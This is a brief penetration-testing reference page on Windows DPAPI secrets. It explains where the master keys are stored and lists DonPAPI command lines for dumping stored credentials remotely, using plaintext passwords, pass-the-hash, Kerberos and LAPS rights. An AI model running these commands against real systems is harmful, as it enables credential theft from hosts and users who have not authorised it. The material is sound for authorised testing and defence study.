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# DPAPI secrets

## Overview

Windows uses the DPAPI (Data Protection API) to store sensitive data for various applications, such as Outlook, Web browsers and more. Windows also uses DPAPI to store certificates, Wi-Fi credentials, etc.

The DPAPI data is secured by a user-specific master key and is stored within a users directory:

`C:\Users\<USER>\AppData\Roaming\Microsoft\Protect<SUID_GUID>`

## Remotely Dumping

The DPAPI can be dumped **remotely** using DonPapi. However, a users password is required.&#x20;

* <https://github.com/login-securite/DonPAPI>

**Dump all secrets using a domain administrator account (requires local administrator):**

```
DonPAPI <domain>/<user>:<password>@<target>
```

**Dump all secrets using a local administrator account:**

```
DonPAPI -local_auth <user>@<target>
```

**Dump secrets using a users password hash (Pass-The-Hash attack):**

```
DonPAPI --hashes <LM>:<NT> <domain>/<user>@<target>
```

**Dump secrets using kerberos:**

```
DonPAPI -k <domain>/<user>@<target>
```

**Dump secrets using a user with LAPS password reading rights:**

```
DonPAPI -laps <domain>/<user>:<password>@<target>
```


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